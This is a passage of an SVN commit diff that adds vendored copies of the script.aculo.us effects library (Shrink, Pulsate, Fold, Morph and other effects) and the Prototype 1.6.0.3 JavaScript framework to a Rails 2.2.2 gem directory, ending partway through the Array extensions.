+          new Effect.Scale(effect.element, 100, {
+            scaleMode: { originalHeight: dims.height, originalWidth: dims.width },
+            sync: true, scaleFrom: window.opera ? 1 : 0, transition: options.scaleTransition, restoreAfterFinish: true})
+        ], Object.extend({
+             beforeSetup: function(effect) {
+               effect.effects[0].element.setStyle({height: '0px'}).show();
+             },
+             afterFinishInternal: function(effect) {
+               effect.effects[0].element.undoClipping().undoPositioned().setStyle(oldStyle);
+             }
+           }, options)
+      );
+    }
+  });
+};
+
+Effect.Shrink = function(element) {
+  element = $(element);
+  var options = Object.extend({
+    direction: 'center',
+    moveTransition: Effect.Transitions.sinoidal,
+    scaleTransition: Effect.Transitions.sinoidal,
+    opacityTransition: Effect.Transitions.none
+  }, arguments[1] || { });
+  var oldStyle = {
+    top: element.style.top,
+    left: element.style.left,
+    height: element.style.height,
+    width: element.style.width,
+    opacity: element.getInlineOpacity() };
+
+  var dims = element.getDimensions();
+  var moveX, moveY;
+
+  switch (options.direction) {
+    case 'top-left':
+      moveX = moveY = 0;
+      break;
+    case 'top-right':
+      moveX = dims.width;
+      moveY = 0;
+      break;
+    case 'bottom-left':
+      moveX = 0;
+      moveY = dims.height;
+      break;
+    case 'bottom-right':
+      moveX = dims.width;
+      moveY = dims.height;
+      break;
+    case 'center':
+      moveX = dims.width / 2;
+      moveY = dims.height / 2;
+      break;
+  }
+
+  return new Effect.Parallel(
+    [ new Effect.Opacity(element, { sync: true, to: 0.0, from: 1.0, transition: options.opacityTransition }),
+      new Effect.Scale(element, window.opera ? 1 : 0, { sync: true, transition: options.scaleTransition, restoreAfterFinish: true}),
+      new Effect.Move(element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition })
+    ], Object.extend({
+         beforeStartInternal: function(effect) {
+           effect.effects[0].element.makePositioned().makeClipping();
+         },
+         afterFinishInternal: function(effect) {
+           effect.effects[0].element.hide().undoClipping().undoPositioned().setStyle(oldStyle); }
+       }, options)
+  );
+};
+
+Effect.Pulsate = function(element) {
+  element = $(element);
+  var options    = arguments[1] || { },
+    oldOpacity = element.getInlineOpacity(),
+    transition = options.transition || Effect.Transitions.linear,
+    reverser   = function(pos){
+      return 1 - transition((-Math.cos((pos*(options.pulses||5)*2)*Math.PI)/2) + .5);
+    };
+
+  return new Effect.Opacity(element,
+    Object.extend(Object.extend({  duration: 2.0, from: 0,
+      afterFinishInternal: function(effect) { effect.element.setStyle({opacity: oldOpacity}); }
+    }, options), {transition: reverser}));
+};
+
+Effect.Fold = function(element) {
+  element = $(element);
+  var oldStyle = {
+    top: element.style.top,
+    left: element.style.left,
+    width: element.style.width,
+    height: element.style.height };
+  element.makeClipping();
+  return new Effect.Scale(element, 5, Object.extend({
+    scaleContent: false,
+    scaleX: false,
+    afterFinishInternal: function(effect) {
+    new Effect.Scale(element, 1, {
+      scaleContent: false,
+      scaleY: false,
+      afterFinishInternal: function(effect) {
+        effect.element.hide().undoClipping().setStyle(oldStyle);
+      } });
+  }}, arguments[1] || { }));
+};
+
+Effect.Morph = Class.create(Effect.Base, {
+  initialize: function(element) {
+    this.element = $(element);
+    if (!this.element) throw(Effect._elementDoesNotExistError);
+    var options = Object.extend({
+      style: { }
+    }, arguments[1] || { });
+
+    if (!Object.isString(options.style)) this.style = $H(options.style);
+    else {
+      if (options.style.include(':'))
+        this.style = options.style.parseStyle();
+      else {
+        this.element.addClassName(options.style);
+        this.style = $H(this.element.getStyles());
+        this.element.removeClassName(options.style);
+        var css = this.element.getStyles();
+        this.style = this.style.reject(function(style) {
+          return style.value == css[style.key];
+        });
+        options.afterFinishInternal = function(effect) {
+          effect.element.addClassName(effect.options.style);
+          effect.transforms.each(function(transform) {
+            effect.element.style[transform.style] = '';
+          });
+        };
+      }
+    }
+    this.start(options);
+  },
+
+  setup: function(){
+    function parseColor(color){
+      if (!color || ['rgba(0, 0, 0, 0)','transparent'].include(color)) color = '#ffffff';
+      color = color.parseColor();
+      return $R(0,2).map(function(i){
+        return parseInt( color.slice(i*2+1,i*2+3), 16 );
+      });
+    }
+    this.transforms = this.style.map(function(pair){
+      var property = pair[0], value = pair[1], unit = null;
+
+      if (value.parseColor('#zzzzzz') != '#zzzzzz') {
+        value = value.parseColor();
+        unit  = 'color';
+      } else if (property == 'opacity') {
+        value = parseFloat(value);
+        if (Prototype.Browser.IE && (!this.element.currentStyle.hasLayout))
+          this.element.setStyle({zoom: 1});
+      } else if (Element.CSS_LENGTH.test(value)) {
+          var components = value.match(/^([\+\-]?[0-9\.]+)(.*)$/);
+          value = parseFloat(components[1]);
+          unit = (components.length == 3) ? components[2] : null;
+      }
+
+      var originalValue = this.element.getStyle(property);
+      return {
+        style: property.camelize(),
+        originalValue: unit=='color' ? parseColor(originalValue) : parseFloat(originalValue || 0),
+        targetValue: unit=='color' ? parseColor(value) : value,
+        unit: unit
+      };
+    }.bind(this)).reject(function(transform){
+      return (
+        (transform.originalValue == transform.targetValue) ||
+        (
+          transform.unit != 'color' &&
+          (isNaN(transform.originalValue) || isNaN(transform.targetValue))
+        )
+      );
+    });
+  },
+  update: function(position) {
+    var style = { }, transform, i = this.transforms.length;
+    while(i--)
+      style[(transform = this.transforms[i]).style] =
+        transform.unit=='color' ? '#'+
+          (Math.round(transform.originalValue[0]+
+            (transform.targetValue[0]-transform.originalValue[0])*position)).toColorPart() +
+          (Math.round(transform.originalValue[1]+
+            (transform.targetValue[1]-transform.originalValue[1])*position)).toColorPart() +
+          (Math.round(transform.originalValue[2]+
+            (transform.targetValue[2]-transform.originalValue[2])*position)).toColorPart() :
+        (transform.originalValue +
+          (transform.targetValue - transform.originalValue) * position).toFixed(3) +
+            (transform.unit === null ? '' : transform.unit);
+    this.element.setStyle(style, true);
+  }
+});
+
+Effect.Transform = Class.create({
+  initialize: function(tracks){
+    this.tracks  = [];
+    this.options = arguments[1] || { };
+    this.addTracks(tracks);
+  },
+  addTracks: function(tracks){
+    tracks.each(function(track){
+      track = $H(track);
+      var data = track.values().first();
+      this.tracks.push($H({
+        ids:     track.keys().first(),
+        effect:  Effect.Morph,
+        options: { style: data }
+      }));
+    }.bind(this));
+    return this;
+  },
+  play: function(){
+    return new Effect.Parallel(
+      this.tracks.map(function(track){
+        var ids = track.get('ids'), effect = track.get('effect'), options = track.get('options');
+        var elements = [$(ids) || $$(ids)].flatten();
+        return elements.map(function(e){ return new effect(e, Object.extend({ sync:true }, options)) });
+      }).flatten(),
+      this.options
+    );
+  }
+});
+
+Element.CSS_PROPERTIES = $w(
+  'backgroundColor backgroundPosition borderBottomColor borderBottomStyle ' +
+  'borderBottomWidth borderLeftColor borderLeftStyle borderLeftWidth ' +
+  'borderRightColor borderRightStyle borderRightWidth borderSpacing ' +
+  'borderTopColor borderTopStyle borderTopWidth bottom clip color ' +
+  'fontSize fontWeight height left letterSpacing lineHeight ' +
+  'marginBottom marginLeft marginRight marginTop markerOffset maxHeight '+
+  'maxWidth minHeight minWidth opacity outlineColor outlineOffset ' +
+  'outlineWidth paddingBottom paddingLeft paddingRight paddingTop ' +
+  'right textIndent top width wordSpacing zIndex');
+
+Element.CSS_LENGTH = /^(([\+\-]?[0-9\.]+)(em|ex|px|in|cm|mm|pt|pc|\%))|0$/;
+
+String.__parseStyleElement = document.createElement('div');
+String.prototype.parseStyle = function(){
+  var style, styleRules = $H();
+  if (Prototype.Browser.WebKit)
+    style = new Element('div',{style:this}).style;
+  else {
+    String.__parseStyleElement.innerHTML = '<div style="' + this + '"></div>';
+    style = String.__parseStyleElement.childNodes[0].style;
+  }
+
+  Element.CSS_PROPERTIES.each(function(property){
+    if (style[property]) styleRules.set(property, style[property]);
+  });
+
+  if (Prototype.Browser.IE && this.include('opacity'))
+    styleRules.set('opacity', this.match(/opacity:\s*((?:0|1)?(?:\.\d*)?)/)[1]);
+
+  return styleRules;
+};
+
+if (document.defaultView && document.defaultView.getComputedStyle) {
+  Element.getStyles = function(element) {
+    var css = document.defaultView.getComputedStyle($(element), null);
+    return Element.CSS_PROPERTIES.inject({ }, function(styles, property) {
+      styles[property] = css[property];
+      return styles;
+    });
+  };
+} else {
+  Element.getStyles = function(element) {
+    element = $(element);
+    var css = element.currentStyle, styles;
+    styles = Element.CSS_PROPERTIES.inject({ }, function(results, property) {
+      results[property] = css[property];
+      return results;
+    });
+    if (!styles.opacity) styles.opacity = element.getOpacity();
+    return styles;
+  };
+}
+
+Effect.Methods = {
+  morph: function(element, style) {
+    element = $(element);
+    new Effect.Morph(element, Object.extend({ style: style }, arguments[2] || { }));
+    return element;
+  },
+  visualEffect: function(element, effect, options) {
+    element = $(element);
+    var s = effect.dasherize().camelize(), klass = s.charAt(0).toUpperCase() + s.substring(1);
+    new Effect[klass](element, options);
+    return element;
+  },
+  highlight: function(element, options) {
+    element = $(element);
+    new Effect.Highlight(element, options);
+    return element;
+  }
+};
+
+$w('fade appear grow shrink fold blindUp blindDown slideUp slideDown '+
+  'pulsate shake puff squish switchOff dropOut').each(
+  function(effect) {
+    Effect.Methods[effect] = function(element, options){
+      element = $(element);
+      Effect[effect.charAt(0).toUpperCase() + effect.substring(1)](element, options);
+      return element;
+    };
+  }
+);
+
+$w('getInlineOpacity forceRerendering setContentZoom collectTextNodes collectTextNodesIgnoreClass getStyles').each(
+  function(f) { Effect.Methods[f] = Element[f]; }
+);
+
+Element.addMethods(Effect.Methods);
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/javascripts/prototype.js
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/javascripts/prototype.js	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/javascripts/prototype.js	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4320 @@
+/*  Prototype JavaScript framework, version 1.6.0.3
+ *  (c) 2005-2008 Sam Stephenson
+ *
+ *  Prototype is freely distributable under the terms of an MIT-style license.
+ *  For details, see the Prototype web site: http://www.prototypejs.org/
+ *
+ *--------------------------------------------------------------------------*/
+
+var Prototype = {
+  Version: '1.6.0.3',
+
+  Browser: {
+    IE:     !!(window.attachEvent &&
+      navigator.userAgent.indexOf('Opera') === -1),
+    Opera:  navigator.userAgent.indexOf('Opera') > -1,
+    WebKit: navigator.userAgent.indexOf('AppleWebKit/') > -1,
+    Gecko:  navigator.userAgent.indexOf('Gecko') > -1 &&
+      navigator.userAgent.indexOf('KHTML') === -1,
+    MobileSafari: !!navigator.userAgent.match(/Apple.*Mobile.*Safari/)
+  },
+
+  BrowserFeatures: {
+    XPath: !!document.evaluate,
+    SelectorsAPI: !!document.querySelector,
+    ElementExtensions: !!window.HTMLElement,
+    SpecificElementExtensions:
+      document.createElement('div')['__proto__'] &&
+      document.createElement('div')['__proto__'] !==
+        document.createElement('form')['__proto__']
+  },
+
+  ScriptFragment: '<script[^>]*>([\\S\\s]*?)<\/script>',
+  JSONFilter: /^\/\*-secure-([\s\S]*)\*\/\s*$/,
+
+  emptyFunction: function() { },
+  K: function(x) { return x }
+};
+
+if (Prototype.Browser.MobileSafari)
+  Prototype.BrowserFeatures.SpecificElementExtensions = false;
+
+
+/* Based on Alex Arnell's inheritance implementation. */
+var Class = {
+  create: function() {
+    var parent = null, properties = $A(arguments);
+    if (Object.isFunction(properties[0]))
+      parent = properties.shift();
+
+    function klass() {
+      this.initialize.apply(this, arguments);
+    }
+
+    Object.extend(klass, Class.Methods);
+    klass.superclass = parent;
+    klass.subclasses = [];
+
+    if (parent) {
+      var subclass = function() { };
+      subclass.prototype = parent.prototype;
+      klass.prototype = new subclass;
+      parent.subclasses.push(klass);
+    }
+
+    for (var i = 0; i < properties.length; i++)
+      klass.addMethods(properties[i]);
+
+    if (!klass.prototype.initialize)
+      klass.prototype.initialize = Prototype.emptyFunction;
+
+    klass.prototype.constructor = klass;
+
+    return klass;
+  }
+};
+
+Class.Methods = {
+  addMethods: function(source) {
+    var ancestor   = this.superclass && this.superclass.prototype;
+    var properties = Object.keys(source);
+
+    if (!Object.keys({ toString: true }).length)
+      properties.push("toString", "valueOf");
+
+    for (var i = 0, length = properties.length; i < length; i++) {
+      var property = properties[i], value = source[property];
+      if (ancestor && Object.isFunction(value) &&
+          value.argumentNames().first() == "$super") {
+        var method = value;
+        value = (function(m) {
+          return function() { return ancestor[m].apply(this, arguments) };
+        })(property).wrap(method);
+
+        value.valueOf = method.valueOf.bind(method);
+        value.toString = method.toString.bind(method);
+      }
+      this.prototype[property] = value;
+    }
+
+    return this;
+  }
+};
+
+var Abstract = { };
+
+Object.extend = function(destination, source) {
+  for (var property in source)
+    destination[property] = source[property];
+  return destination;
+};
+
+Object.extend(Object, {
+  inspect: function(object) {
+    try {
+      if (Object.isUndefined(object)) return 'undefined';
+      if (object === null) return 'null';
+      return object.inspect ? object.inspect() : String(object);
+    } catch (e) {
+      if (e instanceof RangeError) return '...';
+      throw e;
+    }
+  },
+
+  toJSON: function(object) {
+    var type = typeof object;
+    switch (type) {
+      case 'undefined':
+      case 'function':
+      case 'unknown': return;
+      case 'boolean': return object.toString();
+    }
+
+    if (object === null) return 'null';
+    if (object.toJSON) return object.toJSON();
+    if (Object.isElement(object)) return;
+
+    var results = [];
+    for (var property in object) {
+      var value = Object.toJSON(object[property]);
+      if (!Object.isUndefined(value))
+        results.push(property.toJSON() + ': ' + value);
+    }
+
+    return '{' + results.join(', ') + '}';
+  },
+
+  toQueryString: function(object) {
+    return $H(object).toQueryString();
+  },
+
+  toHTML: function(object) {
+    return object && object.toHTML ? object.toHTML() : String.interpret(object);
+  },
+
+  keys: function(object) {
+    var keys = [];
+    for (var property in object)
+      keys.push(property);
+    return keys;
+  },
+
+  values: function(object) {
+    var values = [];
+    for (var property in object)
+      values.push(object[property]);
+    return values;
+  },
+
+  clone: function(object) {
+    return Object.extend({ }, object);
+  },
+
+  isElement: function(object) {
+    return !!(object && object.nodeType == 1);
+  },
+
+  isArray: function(object) {
+    return object != null && typeof object == "object" &&
+      'splice' in object && 'join' in object;
+  },
+
+  isHash: function(object) {
+    return object instanceof Hash;
+  },
+
+  isFunction: function(object) {
+    return typeof object == "function";
+  },
+
+  isString: function(object) {
+    return typeof object == "string";
+  },
+
+  isNumber: function(object) {
+    return typeof object == "number";
+  },
+
+  isUndefined: function(object) {
+    return typeof object == "undefined";
+  }
+});
+
+Object.extend(Function.prototype, {
+  argumentNames: function() {
+    var names = this.toString().match(/^[\s\(]*function[^(]*\(([^\)]*)\)/)[1]
+      .replace(/\s+/g, '').split(',');
+    return names.length == 1 && !names[0] ? [] : names;
+  },
+
+  bind: function() {
+    if (arguments.length < 2 && Object.isUndefined(arguments[0])) return this;
+    var __method = this, args = $A(arguments), object = args.shift();
+    return function() {
+      return __method.apply(object, args.concat($A(arguments)));
+    }
+  },
+
+  bindAsEventListener: function() {
+    var __method = this, args = $A(arguments), object = args.shift();
+    return function(event) {
+      return __method.apply(object, [event || window.event].concat(args));
+    }
+  },
+
+  curry: function() {
+    if (!arguments.length) return this;
+    var __method = this, args = $A(arguments);
+    return function() {
+      return __method.apply(this, args.concat($A(arguments)));
+    }
+  },
+
+  delay: function() {
+    var __method = this, args = $A(arguments), timeout = args.shift() * 1000;
+    return window.setTimeout(function() {
+      return __method.apply(__method, args);
+    }, timeout);
+  },
+
+  defer: function() {
+    var args = [0.01].concat($A(arguments));
+    return this.delay.apply(this, args);
+  },
+
+  wrap: function(wrapper) {
+    var __method = this;
+    return function() {
+      return wrapper.apply(this, [__method.bind(this)].concat($A(arguments)));
+    }
+  },
+
+  methodize: function() {
+    if (this._methodized) return this._methodized;
+    var __method = this;
+    return this._methodized = function() {
+      return __method.apply(null, [this].concat($A(arguments)));
+    };
+  }
+});
+
+Date.prototype.toJSON = function() {
+  return '"' + this.getUTCFullYear() + '-' +
+    (this.getUTCMonth() + 1).toPaddedString(2) + '-' +
+    this.getUTCDate().toPaddedString(2) + 'T' +
+    this.getUTCHours().toPaddedString(2) + ':' +
+    this.getUTCMinutes().toPaddedString(2) + ':' +
+    this.getUTCSeconds().toPaddedString(2) + 'Z"';
+};
+
+var Try = {
+  these: function() {
+    var returnValue;
+
+    for (var i = 0, length = arguments.length; i < length; i++) {
+      var lambda = arguments[i];
+      try {
+        returnValue = lambda();
+        break;
+      } catch (e) { }
+    }
+
+    return returnValue;
+  }
+};
+
+RegExp.prototype.match = RegExp.prototype.test;
+
+RegExp.escape = function(str) {
+  return String(str).replace(/([.*+?^=!:${}()|[\]\/\\])/g, '\\$1');
+};
+
+/*--------------------------------------------------------------------------*/
+
+var PeriodicalExecuter = Class.create({
+  initialize: function(callback, frequency) {
+    this.callback = callback;
+    this.frequency = frequency;
+    this.currentlyExecuting = false;
+
+    this.registerCallback();
+  },
+
+  registerCallback: function() {
+    this.timer = setInterval(this.onTimerEvent.bind(this), this.frequency * 1000);
+  },
+
+  execute: function() {
+    this.callback(this);
+  },
+
+  stop: function() {
+    if (!this.timer) return;
+    clearInterval(this.timer);
+    this.timer = null;
+  },
+
+  onTimerEvent: function() {
+    if (!this.currentlyExecuting) {
+      try {
+        this.currentlyExecuting = true;
+        this.execute();
+      } finally {
+        this.currentlyExecuting = false;
+      }
+    }
+  }
+});
+Object.extend(String, {
+  interpret: function(value) {
+    return value == null ? '' : String(value);
+  },
+  specialChar: {
+    '\b': '\\b',
+    '\t': '\\t',
+    '\n': '\\n',
+    '\f': '\\f',
+    '\r': '\\r',
+    '\\': '\\\\'
+  }
+});
+
+Object.extend(String.prototype, {
+  gsub: function(pattern, replacement) {
+    var result = '', source = this, match;
+    replacement = arguments.callee.prepareReplacement(replacement);
+
+    while (source.length > 0) {
+      if (match = source.match(pattern)) {
+        result += source.slice(0, match.index);
+        result += String.interpret(replacement(match));
+        source  = source.slice(match.index + match[0].length);
+      } else {
+        result += source, source = '';
+      }
+    }
+    return result;
+  },
+
+  sub: function(pattern, replacement, count) {
+    replacement = this.gsub.prepareReplacement(replacement);
+    count = Object.isUndefined(count) ? 1 : count;
+
+    return this.gsub(pattern, function(match) {
+      if (--count < 0) return match[0];
+      return replacement(match);
+    });
+  },
+
+  scan: function(pattern, iterator) {
+    this.gsub(pattern, iterator);
+    return String(this);
+  },
+
+  truncate: function(length, truncation) {
+    length = length || 30;
+    truncation = Object.isUndefined(truncation) ? '...' : truncation;
+    return this.length > length ?
+      this.slice(0, length - truncation.length) + truncation : String(this);
+  },
+
+  strip: function() {
+    return this.replace(/^\s+/, '').replace(/\s+$/, '');
+  },
+
+  stripTags: function() {
+    return this.replace(/<\/?[^>]+>/gi, '');
+  },
+
+  stripScripts: function() {
+    return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), '');
+  },
+
+  extractScripts: function() {
+    var matchAll = new RegExp(Prototype.ScriptFragment, 'img');
+    var matchOne = new RegExp(Prototype.ScriptFragment, 'im');
+    return (this.match(matchAll) || []).map(function(scriptTag) {
+      return (scriptTag.match(matchOne) || ['', ''])[1];
+    });
+  },
+
+  evalScripts: function() {
+    return this.extractScripts().map(function(script) { return eval(script) });
+  },
+
+  escapeHTML: function() {
+    var self = arguments.callee;
+    self.text.data = this;
+    return self.div.innerHTML;
+  },
+
+  unescapeHTML: function() {
+    var div = new Element('div');
+    div.innerHTML = this.stripTags();
+    return div.childNodes[0] ? (div.childNodes.length > 1 ?
+      $A(div.childNodes).inject('', function(memo, node) { return memo+node.nodeValue }) :
+      div.childNodes[0].nodeValue) : '';
+  },
+
+  toQueryParams: function(separator) {
+    var match = this.strip().match(/([^?#]*)(#.*)?$/);
+    if (!match) return { };
+
+    return match[1].split(separator || '&').inject({ }, function(hash, pair) {
+      if ((pair = pair.split('='))[0]) {
+        var key = decodeURIComponent(pair.shift());
+        var value = pair.length > 1 ? pair.join('=') : pair[0];
+        if (value != undefined) value = decodeURIComponent(value);
+
+        if (key in hash) {
+          if (!Object.isArray(hash[key])) hash[key] = [hash[key]];
+          hash[key].push(value);
+        }
+        else hash[key] = value;
+      }
+      return hash;
+    });
+  },
+
+  toArray: function() {
+    return this.split('');
+  },
+
+  succ: function() {
+    return this.slice(0, this.length - 1) +
+      String.fromCharCode(this.charCodeAt(this.length - 1) + 1);
+  },
+
+  times: function(count) {
+    return count < 1 ? '' : new Array(count + 1).join(this);
+  },
+
+  camelize: function() {
+    var parts = this.split('-'), len = parts.length;
+    if (len == 1) return parts[0];
+
+    var camelized = this.charAt(0) == '-'
+      ? parts[0].charAt(0).toUpperCase() + parts[0].substring(1)
+      : parts[0];
+
+    for (var i = 1; i < len; i++)
+      camelized += parts[i].charAt(0).toUpperCase() + parts[i].substring(1);
+
+    return camelized;
+  },
+
+  capitalize: function() {
+    return this.charAt(0).toUpperCase() + this.substring(1).toLowerCase();
+  },
+
+  underscore: function() {
+    return this.gsub(/::/, '/').gsub(/([A-Z]+)([A-Z][a-z])/,'#{1}_#{2}').gsub(/([a-z\d])([A-Z])/,'#{1}_#{2}').gsub(/-/,'_').toLowerCase();
+  },
+
+  dasherize: function() {
+    return this.gsub(/_/,'-');
+  },
+
+  inspect: function(useDoubleQuotes) {
+    var escapedString = this.gsub(/[\x00-\x1f\\]/, function(match) {
+      var character = String.specialChar[match[0]];
+      return character ? character : '\\u00' + match[0].charCodeAt().toPaddedString(2, 16);
+    });
+    if (useDoubleQuotes) return '"' + escapedString.replace(/"/g, '\\"') + '"';
+    return "'" + escapedString.replace(/'/g, '\\\'') + "'";
+  },
+
+  toJSON: function() {
+    return this.inspect(true);
+  },
+
+  unfilterJSON: function(filter) {
+    return this.sub(filter || Prototype.JSONFilter, '#{1}');
+  },
+
+  isJSON: function() {
+    var str = this;
+    if (str.blank()) return false;
+    str = this.replace(/\\./g, '@').replace(/"[^"\\\n\r]*"/g, '');
+    return (/^[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]*$/).test(str);
+  },
+
+  evalJSON: function(sanitize) {
+    var json = this.unfilterJSON();
+    try {
+      if (!sanitize || json.isJSON()) return eval('(' + json + ')');
+    } catch (e) { }
+    throw new SyntaxError('Badly formed JSON string: ' + this.inspect());
+  },
+
+  include: function(pattern) {
+    return this.indexOf(pattern) > -1;
+  },
+
+  startsWith: function(pattern) {
+    return this.indexOf(pattern) === 0;
+  },
+
+  endsWith: function(pattern) {
+    var d = this.length - pattern.length;
+    return d >= 0 && this.lastIndexOf(pattern) === d;
+  },
+
+  empty: function() {
+    return this == '';
+  },
+
+  blank: function() {
+    return /^\s*$/.test(this);
+  },
+
+  interpolate: function(object, pattern) {
+    return new Template(this, pattern).evaluate(object);
+  }
+});
+
+if (Prototype.Browser.WebKit || Prototype.Browser.IE) Object.extend(String.prototype, {
+  escapeHTML: function() {
+    return this.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;');
+  },
+  unescapeHTML: function() {
+    return this.stripTags().replace(/&amp;/g,'&').replace(/&lt;/g,'<').replace(/&gt;/g,'>');
+  }
+});
+
+String.prototype.gsub.prepareReplacement = function(replacement) {
+  if (Object.isFunction(replacement)) return replacement;
+  var template = new Template(replacement);
+  return function(match) { return template.evaluate(match) };
+};
+
+String.prototype.parseQuery = String.prototype.toQueryParams;
+
+Object.extend(String.prototype.escapeHTML, {
+  div:  document.createElement('div'),
+  text: document.createTextNode('')
+});
+
+String.prototype.escapeHTML.div.appendChild(String.prototype.escapeHTML.text);
+
+var Template = Class.create({
+  initialize: function(template, pattern) {
+    this.template = template.toString();
+    this.pattern = pattern || Template.Pattern;
+  },
+
+  evaluate: function(object) {
+    if (Object.isFunction(object.toTemplateReplacements))
+      object = object.toTemplateReplacements();
+
+    return this.template.gsub(this.pattern, function(match) {
+      if (object == null) return '';
+
+      var before = match[1] || '';
+      if (before == '\\') return match[2];
+
+      var ctx = object, expr = match[3];
+      var pattern = /^([^.[]+|\[((?:.*?[^\\])?)\])(\.|\[|$)/;
+      match = pattern.exec(expr);
+      if (match == null) return before;
+
+      while (match != null) {
+        var comp = match[1].startsWith('[') ? match[2].gsub('\\\\]', ']') : match[1];
+        ctx = ctx[comp];
+        if (null == ctx || '' == match[3]) break;
+        expr = expr.substring('[' == match[3] ? match[1].length : match[0].length);
+        match = pattern.exec(expr);
+      }
+
+      return before + String.interpret(ctx);
+    });
+  }
+});
+Template.Pattern = /(^|.|\r|\n)(#\{(.*?)\})/;
+
+var $break = { };
+
+var Enumerable = {
+  each: function(iterator, context) {
+    var index = 0;
+    try {
+      this._each(function(value) {
+        iterator.call(context, value, index++);
+      });
+    } catch (e) {
+      if (e != $break) throw e;
+    }
+    return this;
+  },
+
+  eachSlice: function(number, iterator, context) {
+    var index = -number, slices = [], array = this.toArray();
+    if (number < 1) return array;
+    while ((index += number) < array.length)
+      slices.push(array.slice(index, index+number));
+    return slices.collect(iterator, context);
+  },
+
+  all: function(iterator, context) {
+    iterator = iterator || Prototype.K;
+    var result = true;
+    this.each(function(value, index) {
+      result = result && !!iterator.call(context, value, index);
+      if (!result) throw $break;
+    });
+    return result;
+  },
+
+  any: function(iterator, context) {
+    iterator = iterator || Prototype.K;
+    var result = false;
+    this.each(function(value, index) {
+      if (result = !!iterator.call(context, value, index))
+        throw $break;
+    });
+    return result;
+  },
+
+  collect: function(iterator, context) {
+    iterator = iterator || Prototype.K;
+    var results = [];
+    this.each(function(value, index) {
+      results.push(iterator.call(context, value, index));
+    });
+    return results;
+  },
+
+  detect: function(iterator, context) {
+    var result;
+    this.each(function(value, index) {
+      if (iterator.call(context, value, index)) {
+        result = value;
+        throw $break;
+      }
+    });
+    return result;
+  },
+
+  findAll: function(iterator, context) {
+    var results = [];
+    this.each(function(value, index) {
+      if (iterator.call(context, value, index))
+        results.push(value);
+    });
+    return results;
+  },
+
+  grep: function(filter, iterator, context) {
+    iterator = iterator || Prototype.K;
+    var results = [];
+
+    if (Object.isString(filter))
+      filter = new RegExp(filter);
+
+    this.each(function(value, index) {
+      if (filter.match(value))
+        results.push(iterator.call(context, value, index));
+    });
+    return results;
+  },
+
+  include: function(object) {
+    if (Object.isFunction(this.indexOf))
+      if (this.indexOf(object) != -1) return true;
+
+    var found = false;
+    this.each(function(value) {
+      if (value == object) {
+        found = true;
+        throw $break;
+      }
+    });
+    return found;
+  },
+
+  inGroupsOf: function(number, fillWith) {
+    fillWith = Object.isUndefined(fillWith) ? null : fillWith;
+    return this.eachSlice(number, function(slice) {
+      while(slice.length < number) slice.push(fillWith);
+      return slice;
+    });
+  },
+
+  inject: function(memo, iterator, context) {
+    this.each(function(value, index) {
+      memo = iterator.call(context, memo, value, index);
+    });
+    return memo;
+  },
+
+  invoke: function(method) {
+    var args = $A(arguments).slice(1);
+    return this.map(function(value) {
+      return value[method].apply(value, args);
+    });
+  },
+
+  max: function(iterator, context) {
+    iterator = iterator || Prototype.K;
+    var result;
+    this.each(function(value, index) {
+      value = iterator.call(context, value, index);
+      if (result == null || value >= result)
+        result = value;
+    });
+    return result;
+  },
+
+  min: function(iterator, context) {
+    iterator = iterator || Prototype.K;
+    var result;
+    this.each(function(value, index) {
+      value = iterator.call(context, value, index);
+      if (result == null || value < result)
+        result = value;
+    });
+    return result;
+  },
+
+  partition: function(iterator, context) {
+    iterator = iterator || Prototype.K;
+    var trues = [], falses = [];
+    this.each(function(value, index) {
+      (iterator.call(context, value, index) ?
+        trues : falses).push(value);
+    });
+    return [trues, falses];
+  },
+
+  pluck: function(property) {
+    var results = [];
+    this.each(function(value) {
+      results.push(value[property]);
+    });
+    return results;
+  },
+
+  reject: function(iterator, context) {
+    var results = [];
+    this.each(function(value, index) {
+      if (!iterator.call(context, value, index))
+        results.push(value);
+    });
+    return results;
+  },
+
+  sortBy: function(iterator, context) {
+    return this.map(function(value, index) {
+      return {
+        value: value,
+        criteria: iterator.call(context, value, index)
+      };
+    }).sort(function(left, right) {
+      var a = left.criteria, b = right.criteria;
+      return a < b ? -1 : a > b ? 1 : 0;
+    }).pluck('value');
+  },
+
+  toArray: function() {
+    return this.map();
+  },
+
+  zip: function() {
+    var iterator = Prototype.K, args = $A(arguments);
+    if (Object.isFunction(args.last()))
+      iterator = args.pop();
+
+    var collections = [this].concat(args).map($A);
+    return this.map(function(value, index) {
+      return iterator(collections.pluck(index));
+    });
+  },
+
+  size: function() {
+    return this.toArray().length;
+  },
+
+  inspect: function() {
+    return '#<Enumerable:' + this.toArray().inspect() + '>';
+  }
+};
+
+Object.extend(Enumerable, {
+  map:     Enumerable.collect,
+  find:    Enumerable.detect,
+  select:  Enumerable.findAll,
+  filter:  Enumerable.findAll,
+  member:  Enumerable.include,
+  entries: Enumerable.toArray,
+  every:   Enumerable.all,
+  some:    Enumerable.any
+});
+function $A(iterable) {
+  if (!iterable) return [];
+  if (iterable.toArray) return iterable.toArray();
+  var length = iterable.length || 0, results = new Array(length);
+  while (length--) results[length] = iterable[length];
+  return results;
+}
+
+if (Prototype.Browser.WebKit) {
+  $A = function(iterable) {
+    if (!iterable) return [];
+    // In Safari, only use the `toArray` method if it's not a NodeList.
+    // A NodeList is a function, has an function `item` property, and a numeric
+    // `length` property. Adapted from Google Doctype.
+    if (!(typeof iterable === 'function' && typeof iterable.length ===
+        'number' && typeof iterable.item === 'function') && iterable.toArray)
+      return iterable.toArray();
+    var length = iterable.length || 0, results = new Array(length);
+    while (length--) results[length] = iterable[length];
+    return results;
+  };
+}
+
+Array.from = $A;
+
+Object.extend(Array.prototype, Enumerable);
+
+if (!Array.prototype._reverse) Array.prototype._reverse = Array.prototype.reverse;
+
+Object.extend(Array.prototype, {
+  _each: function(iterator) {
+    for (var i = 0, length = this.length; i < length; i++)
+      iterator(this[i]);
+  },
+
+  clear: function() {
+    this.length = 0;
+    return this;
+  },
+
+  first: function() {
+    return this[0];
+  },
+
+  last: function() {
+    return this[this.length - 1];
+  },
+
